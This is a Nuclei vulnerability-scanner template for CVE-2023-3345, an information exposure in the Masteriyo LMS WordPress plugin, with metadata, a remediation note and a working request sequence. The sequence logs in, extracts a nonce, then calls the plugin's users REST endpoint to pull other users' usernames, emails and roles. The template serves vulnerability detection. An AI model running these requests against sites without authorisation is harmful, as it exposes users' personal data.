nuclei-templates/http/cves/2023/CVE-2023-3345.yaml

78 lines
2.3 KiB
YAML
Raw Normal View History

2023-07-15 12:32:13 +00:00
id: CVE-2023-3345
info:
name: LMS by Masteriyo < 1.6.8 - Information Exposure
author: DhiyaneshDK
severity: medium
description: |
The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.
2023-09-06 11:43:37 +00:00
remediation: |
Upgrade LMS by Masteriyo to version 1.6.8 or higher to fix the vulnerability.
2023-07-15 12:32:13 +00:00
reference:
- https://wpscan.com/vulnerability/0d07423e-98d2-43a3-824d-562747a3d65a
- https://github.com/RandomRobbieBF/learning-management-system
- https://wordpress.org/plugins/learning-management-system
- https://nvd.nist.gov/vuln/detail/CVE-2023-3345
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
2023-08-31 11:46:18 +00:00
cve-id: CVE-2023-3345
cwe-id: CWE-200
2023-10-14 11:27:55 +00:00
epss-score: 0.00441
epss-percentile: 0.71961
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:masteriyo:masteriyo:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
2023-09-06 11:43:37 +00:00
max-request: 3
2023-08-31 11:46:18 +00:00
vendor: masteriyo
product: masteriyo
2023-09-06 11:43:37 +00:00
framework: wordpress
2023-07-15 16:33:45 +00:00
tags: wp-plugin,xss,wp,wordpress,exposure,authenticated,learning-management-system,wpscan
2023-07-15 12:32:13 +00:00
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-json/masteriyo/v1/users/ HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{nonce}}
cookie-reuse: true
2023-08-31 11:46:18 +00:00
2023-07-15 12:32:13 +00:00
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '"username":'
- '"email":'
- '"roles":'
condition: and
- type: word
part: header_3
words:
- application/json
- type: status
status:
- 200
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"nonce":"([a-z0-9]+)","versionString'
internal: true
# digest: 4b0a00483046022100f98f13dcd67486e82f63e812528c3baab511ba469fd4ffc396d03ac29aff6ff6022100c9185b19fce3f7e740dacf46419f6464959f79af1463c19ee6bd0b48264f65b7:922c64590222798bb761d5b6d8e72950